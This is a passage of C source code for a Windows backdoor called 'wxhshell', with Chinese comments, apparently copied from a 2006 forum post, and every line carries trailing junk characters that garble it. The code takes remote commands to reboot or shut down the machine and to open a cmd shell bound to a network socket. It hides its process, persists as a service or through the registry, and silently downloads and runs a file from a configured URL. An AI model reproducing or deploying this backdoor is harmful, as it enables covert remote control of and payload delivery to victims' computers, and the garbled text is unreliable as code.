  case '?': { 6cV -iDOH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I*Q^$YnM  
    break; 8- U1Y  
  } (ugB3o  
  // 安装 x!08FL)  
  case 'i': { t<|S7EqIL  
    if(Install()) Uz`K#Bz   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V{j>09u  
    else D/ SM/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e)WpqaI  
    break; (A\p5@ht  
    } R\B-cU[,  
  // 卸载 t'@qb~sf  
  case 'r': { cCoa3U/  
    if(Uninstall()) Xo{|m[,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2$MIA?A"Y  
    else 0 =2D 90  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &GC`4!H  
    break; q-g3!  
    } 0?tn.<'B8T  
  // 显示 wxhshell 所在路径 J4Ix\r_  
  case 'p': { c<`Z[EY(t  
    char svExeFile[MAX_PATH]; YB^[HE\#y  
    strcpy(svExeFile,"\n\r"); gdu8O!9)  
      strcat(svExeFile,ExeFile); TfYXF`d  
        send(wsh,svExeFile,strlen(svExeFile),0); K9#=@}!3L  
    break; ]+SVQ|v0  
    } /=5YHq>  
  // 重启 >>ncq$  
  case 'b': { &3SQVOW ~T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V?a+u7*U&  
    if(Boot(REBOOT)) SOq{`~,4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1q])"l"<  
    else { 4+Sq[Rv0  
    closesocket(wsh); q\P"AlpC!  
    ExitThread(0); rHir> p  
    } )jh4HMvmC  
    break; ^=H. .pr  
    } f xWW "B*A  
  // 关机 kIb)I(n  
  case 'd': { iBq|]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5ayM}u%\~  
    if(Boot(SHUTDOWN)) j{i3lGaN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TV~ <1vj  
    else { rNgFsFQ>.  
    closesocket(wsh); Vt {uG  
    ExitThread(0); ;\F3~rl  
    } d+1q[,-  
    break; 6^vMJ82U  
    } Ag3[Nu1  
  // 获取shell \"]vSx>  
  case 's': { 5Av bKT  
    CmdShell(wsh); gD"]uj<  
    closesocket(wsh); }=1#ANM1  
    ExitThread(0); -R^OYgF  
    break; J33enQd  
  } gEVN;G'B<=  
  // 退出 r[ UZHX5+S  
  case 'x': { j4ARGkK5B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I Xm}WTgF!  
    CloseIt(wsh); 5J d7<AO_  
    break; *} pl  
    } dM%#DN8 l  
  // 离开 O "jX|5  
  case 'q': { or?@Ti;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \`H"4r[?(  
    closesocket(wsh); d|^cKLu  
    WSACleanup(); I<v1S  
    exit(1); 8 JOfx  
    break; 6qW/Td|g  
        } PGaB U3  
  } ^BDM'  
  } %^e~;i=2  
O~E6"v Q  
  // 提示信息 5XK}8\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HgHhc&-  
} "|{3V:e>a  
  } So&an !  
dKs^Dq  
  return; C$9+p@G6  
} ,QDS_u$xi&  
r-27AJu  
// shell模块句柄 LaI(  
int CmdShell(SOCKET sock) /%El0X  
{ gk"0r\Eq  
STARTUPINFO si; K+9oV[DMs  
ZeroMemory(&si,sizeof(si)); (7C&I- l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gmU_# J%~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 28 h3Ayw4  
PROCESS_INFORMATION ProcessInfo; XS$5TNI  
char cmdline[]="cmd";  U>0' K3_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 80PlbUBb!  
  return 0; 9.<dS  
} c$X0C&m  
BXNt@%  
// 自身启动模式 >d.o1<  
int StartFromService(void) ``%uq)G=D  
{ W<J".2D  
typedef struct aBo8?VV]8  
{ ]_cBd)3P}  
  DWORD ExitStatus; l[KFK%?  
  DWORD PebBaseAddress; Y)?dq(  
  DWORD AffinityMask; "`b"PQ<x  
  DWORD BasePriority; n5nV4 61U  
  ULONG UniqueProcessId; @,Je*5$o"  
  ULONG InheritedFromUniqueProcessId; #41fRmzC  
}   PROCESS_BASIC_INFORMATION; kOv2E]  
[;bZQ6JR  
PROCNTQSIP NtQueryInformationProcess; TTg>g~t`  
@]*b$6tt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v&BKl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gv&%2e}_  
nZ;h&N -_-  
  HANDLE             hProcess; pEUbP,3M:  
  PROCESS_BASIC_INFORMATION pbi; Sq9I]A  
\/rK0|2A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gp=X1 F  
  if(NULL == hInst ) return 0; B;SN}I  
;B%NFvG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z tS P4lW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6pkZ8Vp:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5O.dRp7d J  
$=>(7 =l_  
  if (!NtQueryInformationProcess) return 0; P4"Pb\o*  
B7:8%r/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *gu4%  
  if(!hProcess) return 0; em^|E73  
pdcP;.   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H*#L~!]  
"][MCVYP  
  CloseHandle(hProcess); \Y)pm9!  
oY!nM%z/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 44H#8kV  
if(hProcess==NULL) return 0; 13oR-Stj|  
nC^|83  
HMODULE hMod; V^ O dTM  
char procName[255]; owClnp9K  
unsigned long cbNeeded; GF6c6TXF@  
2?3D` `  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;^5d^-T  
yNY *Fl!  
  CloseHandle(hProcess); K6#9HF'2I  
7X3<8:%  
if(strstr(procName,"services")) return 1; // 以服务启动 N3P!<J/tc  
[4)q6N5`f  
  return 0; // 注册表启动 gTz66a@i  
} W"9?D  
!V~`e9[rl  
// 主模块 wJ_E\vP  
int StartWxhshell(LPSTR lpCmdLine) )9~1XiS,  
{ OrX x0Hn  
  SOCKET wsl; sb 3l4(8g  
BOOL val=TRUE; fo63H'7  
  int port=0; y'(bp=Nq  
  struct sockaddr_in door; tw. 2h'D  
>QwZt  
  if(wscfg.ws_autoins) Install(); pfj%AP:  
d*%-r2K  
port=atoi(lpCmdLine); yZf+*j/a7  
(<ybst6+I  
if(port<=0) port=wscfg.ws_port; ?b',kN,(  
az7<@vSXi  
  WSADATA data; /0(2PVf y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 65FdA-4  
x`'2oz=,F4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,E]u[7A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wsb=SM7;  
  door.sin_family = AF_INET; 5oz[Njq4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1tvgM !.  
  door.sin_port = htons(port); c5_?jKpl  
>G`=8Ku  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (k?,+jnR  
closesocket(wsl); \tc`Aj%K  
return 1; &FrW(>2  
} ;IhkGPpWP  
Fs q=u-= :  
  if(listen(wsl,2) == INVALID_SOCKET) { QJFx/zU  
closesocket(wsl); uq;,h46ki  
return 1; O=os ,'"  
} kc&>l (  
  Wxhshell(wsl); ?#@JH  
  WSACleanup(); D:Zpls.  
TGxspmY6  
return 0; ^H'zS3S  
Ro+/=*ql~  
} |]7z  
sY?pp '}a  
// 以NT服务方式启动 owA3>E5t&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZoJ:4uo N`  
{ f o])=KM  
DWORD   status = 0; g`KVF"8  
  DWORD   specificError = 0xfffffff; Lu&2^USTO  
&wj;:f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,RFcR[ak  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lhm=(7Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wI +oG  
  serviceStatus.dwWin32ExitCode     = 0; c1j)  
  serviceStatus.dwServiceSpecificExitCode = 0; /ZAS%_as  
  serviceStatus.dwCheckPoint       = 0; -Z&6PT7  
  serviceStatus.dwWaitHint       = 0; #84pRU~  
3 wVN:g7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kq6K<e4jO  
  if (hServiceStatusHandle==0) return; 0dhJ# [Y  
ZOl =zn  
status = GetLastError(); ZVotIQ/Q'  
  if (status!=NO_ERROR) B 95}_q  
{ Tfc5R;Rw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >j1\]uo  
    serviceStatus.dwCheckPoint       = 0; i][7S mN  
    serviceStatus.dwWaitHint       = 0; [0 7N<<  
    serviceStatus.dwWin32ExitCode     = status; xw-x<7  
    serviceStatus.dwServiceSpecificExitCode = specificError; z^ +CD-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u/FnA-L4  
    return; 4VE7%.z+  
  } pfW0)V1t  
1 O+4A[cr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o"@y=n/  
  serviceStatus.dwCheckPoint       = 0; d )|{iUcW  
  serviceStatus.dwWaitHint       = 0; IC}?oXs5G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yo:l@(  
} 8:,E=swe  
Xz5 aTJ&  
// 处理NT服务事件,比如:启动、停止 gP.Q_/V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T{M~*5$  
{ DB'pRo+U  
switch(fdwControl) G.K3'^_  
{ <Gzy*1 Q&  
case SERVICE_CONTROL_STOP: m`UNdFS  
  serviceStatus.dwWin32ExitCode = 0; Z~o*$tF/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )AOD~T4s7  
  serviceStatus.dwCheckPoint   = 0; !Y_"q^5GG'  
  serviceStatus.dwWaitHint     = 0; iK%<0m  
  { tx;DMxN!W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xr~6_N{J  
  } h d1H  
  return; yvo~'k#c  
case SERVICE_CONTROL_PAUSE: '01H8er  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |i-Qfpn  
  break; xKKL4ws  
case SERVICE_CONTROL_CONTINUE: D3yG@lIP3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~1YL  
  break; *&B1(&{:V  
case SERVICE_CONTROL_INTERROGATE: tYyva  
  break; 2X2,( D!  
}; MP,l*wVd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \s Fdp!M}2  
} N1WP  
j.4oYxK!s/  
// 标准应用程序主函数 kNfqdCF{P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k{n*[)m  
{ pRmnS;*z&  
Lys4l$J]  
// 获取操作系统版本 =flgKRKk.r  
OsIsNt=GetOsVer(); qOz,iR?}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F?'=iY<h  
1QM*oj:  
  // 从命令行安装 J=>?D@K  
  if(strpbrk(lpCmdLine,"iI")) Install(); eSXt"t  
/B"h #v-o  
  // 下载执行文件 [@[!esC  
if(wscfg.ws_downexe) { aR.1&3fE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k%#`{#n i  
  WinExec(wscfg.ws_filenam,SW_HIDE); VtF^; f  
} }(O/y-  
!_s|h@  
if(!OsIsNt) { hNUAwTH6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^[XxE Lx  
HideProc(); v,r}q1.E}  
StartWxhshell(lpCmdLine); xEaRuH c  
} i7 `dY {p7  
else R3F>"(P@tS  
  if(StartFromService()) !c:Q+:,H  
  // 以服务方式启动 Ea1{9> S  
  StartServiceCtrlDispatcher(DispatchTable); "+s#!Fh *  
else LU4\&fd  
  // 普通方式启动 5bFE;Y;  
  StartWxhshell(lpCmdLine); *=0Wh@?0  
PEZElB ;  
return 0; 1d!7GrD F  
}
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只看该作者 1 发表于: 2006-10-10
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